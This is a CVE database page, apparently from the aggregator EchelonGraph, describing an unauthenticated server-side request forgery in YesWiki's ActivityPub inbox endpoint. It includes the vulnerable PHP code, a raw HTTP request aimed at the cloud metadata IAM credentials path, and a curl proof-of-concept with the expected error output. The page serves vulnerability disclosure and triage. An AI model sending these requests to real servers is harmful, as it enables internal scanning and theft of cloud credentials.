CVE-2026-52769

HIGHPre-NVD 8.38.3
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.3
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 8.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub Signature.keyId

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

* File: tools/bazar/services/HttpSignatureService.php * Method: HttpSignatureService::verifySignature(Request $request) * Sink: line 96 * Route: tools/bazar/controllers/ApiController.php line 125@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})

// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

$sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field );

if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); }

$response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... }

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

$form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true);

$httpSignatureService->verifySignature($request); // <-- SSRF fires here $activityPubService->processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } }

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/",algorithm="rsa-sha256",headers="x",signature="y"

{}

* The Symfony controller matches the route on formId=1. * ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on). * verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', ''). * YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

* Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \ -d '{}' \ -w '\n HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed *after* talking to the listener.

Tested with webhook:

CVSS v3
8.3
EG Score
8.3(low)
EPSS
KEV
Not listed

Published

July 9, 2026

Last Modified

July 9, 2026

Vendor Advisories for CVE-2026-52769(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 12× in last 7d / 12× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-15 16:57 UTCEG score recompute
  2. 2026-07-15 04:18 UTCEG score recompute
  3. 2026-07-14 15:37 UTCEG score recompute
  4. 2026-07-14 02:57 UTCEG score recompute
  5. 2026-07-13 14:18 UTCEG score recompute
  6. 2026-07-13 01:40 UTCEG score recompute
  7. 2026-07-12 13:01 UTCEG score recompute
  8. 2026-07-12 00:22 UTCEG score recompute
  9. 2026-07-11 11:42 UTCEG score recompute
  10. 2026-07-10 23:03 UTCEG score recompute
  11. 2026-07-10 10:24 UTCEG score recompute
  12. 2026-07-09 21:46 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-52769?
CVE-2026-52769 is a high vulnerability published on July 9, 2026. YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub Signature.keyId Summary The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the…
When was CVE-2026-52769 disclosed?
CVE-2026-52769 was first published in the National Vulnerability Database on July 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-52769?
CVE-2026-52769 has a CVSS v4.0 base score of 8.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-52769?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-52769, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-52769

Explore →

Is Your Infrastructure Affected by CVE-2026-52769?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.